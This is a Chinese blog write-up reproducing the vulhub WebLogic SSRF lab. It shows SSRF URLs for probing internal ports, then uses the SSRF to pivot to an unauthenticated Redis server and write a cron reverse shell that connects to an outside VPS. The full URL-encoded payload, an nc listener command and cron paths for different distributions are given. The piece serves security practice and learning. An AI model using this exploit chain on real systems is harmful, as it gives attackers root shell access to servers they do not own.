vulhub weblogic ssrf复现

VPS:x.x.x.x
跳板机debian:192.168.130.129 weblogic
内网ubuntu:192.168.130.132 redis

1、operator参数可以调用外部url,由于未做限制,造成ssrf,可以借助它探测服务器端口,如下两种不同的报错
http://192.168.130.129:7001/uddiexplorer/SearchPublicRegistries.jsp?rdoSearch=name&txtSearchname=sdf&txtSearchkey=&txtSearchfor=&selfor=Business+location&btnSubmit=Search&operator=http://127.0.0.1:7001

http://192.168.130.129:7001/uddiexplorer/SearchPublicRegistries.jsp?rdoSearch=name&txtSearchname=sdf&txtSearchkey=&txtSearchfor=&selfor=Business+location&btnSubmit=Search&operator=http://127.0.0.1:3389

2、通过ssrf探测内网主机,发现内网主机192.168.130.132开启6379且存在redis未授权,可以通过http的get请求写入shell

为什么get请求能写shell

1、redis未授权
2、redis通过换行符(\r\n)来分隔命令
3、目标主机开启定时任务

3、VPS监听6666端口
root@iZbp1h497hkijddeblcm8jZ:~# nc -lvp 6666
Listening on [0.0.0.0] (family 0, port 6666)

4、get写定时任务 shell /etc/crontab

set 1 "\n\n\n\n0-59 0-23 1-31 1-12 0-6 root bash -c 'sh -i >& /dev/tcp/VPS:ip/6666 0>&1'\n\n\n\n"

config set dir /etc/

config set dbfilename crontab

save

命令之间用\r\n分隔,url编码%0D%0A,全部url编码
set%201%20%22%5Cn%5Cn%5Cn%5Cn0-59%200-23%201-31%201-12%200-6%20root%20bash%20-c%20'sh%20-i%20%3E%26%20%2Fdev%2Ftcp%2F47.97.50.242%2F6666%200%3E%261'%5Cn%5Cn%5Cn%5Cn%22%0D%0Aconfig%20set%20dir%20%2Fetc%2F%0D%0Aconfig%20set%20dbfilename%20crontab%0D%0Asave%0D%0A

5、传参,反弹shell

遇到的坑

1.定时任务不一定会执行
2.不同系统定时任务目录不一样
/etc/crontab #大部分linux
/etc/cron.d/ #ubuntu
/var/spool/cron/root #centOS
/var/spool/cron/crontabs/root #debian
3.不太理解README里的shell最后为啥要加个aaa

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

Redredredfish

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值